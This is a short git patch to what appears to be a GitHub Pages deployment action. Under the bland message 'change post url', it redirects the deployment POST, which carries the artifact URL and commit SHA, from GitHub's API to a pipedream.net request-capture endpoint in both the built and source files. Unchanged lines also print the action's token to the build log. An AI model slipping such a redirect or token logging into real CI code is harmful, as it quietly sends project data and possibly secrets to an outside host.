From 4845887d6bed0f74edb8393753d50ae83a4459aa Mon Sep 17 00:00:00 2001 From: yimysty Date: Wed, 22 Sep 2021 23:56:54 -0700 Subject: [PATCH] change post url --- dist/index.js | 2 +- src/upload-artifact.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dist/index.js b/dist/index.js index 1e90328..5906816 100644 --- a/dist/index.js +++ b/dist/index.js @@ -5561,7 +5561,7 @@ function run() { else { console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`); console.log(`token: ${inputs.token}`); - response = yield axios_1.default.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, { + response = yield axios_1.default.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { artifact_url: unsignedUrl, pages_build_version: process.env['GITHUB_SHA'] }, { diff --git a/src/upload-artifact.ts b/src/upload-artifact.ts index e94f313..8037fed 100644 --- a/src/upload-artifact.ts +++ b/src/upload-artifact.ts @@ -85,7 +85,7 @@ async function run(): Promise { } else { console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`) console.log(`token: ${inputs.token}`) - response = await axios.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, { + response = await axios.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { artifact_url: unsignedUrl, pages_build_version: process.env['GITHUB_SHA'] }, {